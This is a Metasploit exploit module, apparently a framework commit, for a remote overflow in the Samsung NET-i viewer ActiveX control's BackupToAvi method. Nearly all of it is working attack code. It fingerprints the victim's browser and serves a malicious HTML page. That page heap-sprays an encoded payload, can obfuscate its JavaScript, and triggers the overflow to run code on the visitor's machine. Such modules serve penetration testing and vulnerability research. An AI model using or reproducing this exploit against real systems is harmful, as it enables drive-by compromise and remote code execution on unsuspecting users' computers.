Added module for OSVDB 81453
jvazquez-r7
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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def initialize(info={})
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super(update_info(info,
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'Name' => "Samsung NET-i viewer Multiple ActiveX BackupToAvi() Remote Overflow",
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'Description' => %q{
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This module exploits a vulnerability in the CNC_Ctrl.dll ActiveX installed
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with the Samsung NET-i viewer 1.37.
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Specifically, when supplying a long string for the fname parameter to the
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BackupToAvi method, an integer overflow occurs, which leads to a posterior buffer
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overflow due to the use of memcpy with an incorrect size, resulting in remote code
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execution under the context of the user.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Luigi Auriemma', # Vulnerability Discovery and PoC
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'juan vazquez' # Metasploit module
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],
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'References' =>
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[
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[ 'OSVDB', '81453'],
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[ 'BID', '53193'],
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[ 'URL', 'http://aluigi.altervista.org/adv/netiware_1-adv.txt' ]
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],
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'Payload' =>
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{
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'BadChars' => "\x00",
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},
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'DefaultOptions' =>
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{
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'ExitFunction' => "seh",
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'InitialAutoRunScript' => 'migrate -f'
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},
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'Platform' => 'win',
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'Targets' =>
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[
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# Samsung NET-i viewer 1.37
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# CNC_Ctrl.dll 1.5.1.1
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[ 'Automatic', {} ],
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[ 'IE 6 on Windows XP SP3',
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{
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'Ret' => 0x0c0c0c0c,
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'Offset' => '0x800 - code.length',
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}
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],
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[ 'IE 7 on Windows XP SP3',
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{
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'Ret' => 0x0c0c0c0c,
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'Offset' => '0x800 - code.length',
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}
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]
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],
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'Privileged' => false,
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'DisclosureDate' => "Apr 21 2012",
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'DefaultTarget' => 0))
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register_options(
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[
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OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
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], self.class)
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end
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def get_target(agent)
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#If the user is already specified by the user, we'll just use that
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return target if target.name != 'Automatic'
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if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
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return targets[1] #IE 6 on Windows XP SP3
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elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
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return targets[2] #IE 7 on Windows XP SP3
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else
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return nil
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end
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end
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def on_request_uri(cli, request)
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agent = request.headers['User-Agent']
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my_target = get_target(agent)
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# Avoid the attack if the victim doesn't have the same setup we're targeting
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if my_target.nil?
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print_error("Browser not supported: #{agent.to_s}")
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send_not_found(cli)
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return
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end
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print_status("Target set: #{my_target.name}")
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p = payload.encoded
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js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
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js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))
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js = <<-JS
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var heap_obj = new heapLib.ie(0x20000);
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var code = unescape("#{js_code}");
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var nops = unescape("#{js_nops}");
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while (nops.length < 0x80000) nops += nops;
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var offset = nops.substring(0, #{my_target['Offset']});
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var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
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while (shellcode.length < 0x40000) shellcode += shellcode;
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var block = shellcode.substring(0, (0x80000-6)/2);
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heap_obj.gc();
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for (var i=1; i < 0x200; i++) {
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heap_obj.alloc(block);
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}
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JS
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js = heaplib(js, {:noobfu => true})
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#obfuscate on demand
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if datastore['OBFUSCATE']
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js = ::Rex::Exploitation::JSObfu.new(js)
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js.obfuscate
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end
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bof = Rex::Text.to_unescape("\x0c" * 2048, Rex::Arch.endian(my_target.arch))
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html = <<-EOS
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<html>
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<head>
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<script>
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#{js}
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</script>
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</head>
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<body>
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<object id="target1" classid="CLSID:3D6F2DBA-F4E5-40A6-8725-E99BC96CC23A"></object>
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<script>
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target1.BackupToAvi(0, 0, 0, unescape("#{bof}"));
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</script>
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<body>
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</html>
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EOS
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html = html.gsub(/^\t\t/, '')
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print_status("Sending html")
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send_response(cli, html, {'Content-Type'=>'text/html'})
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end
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end
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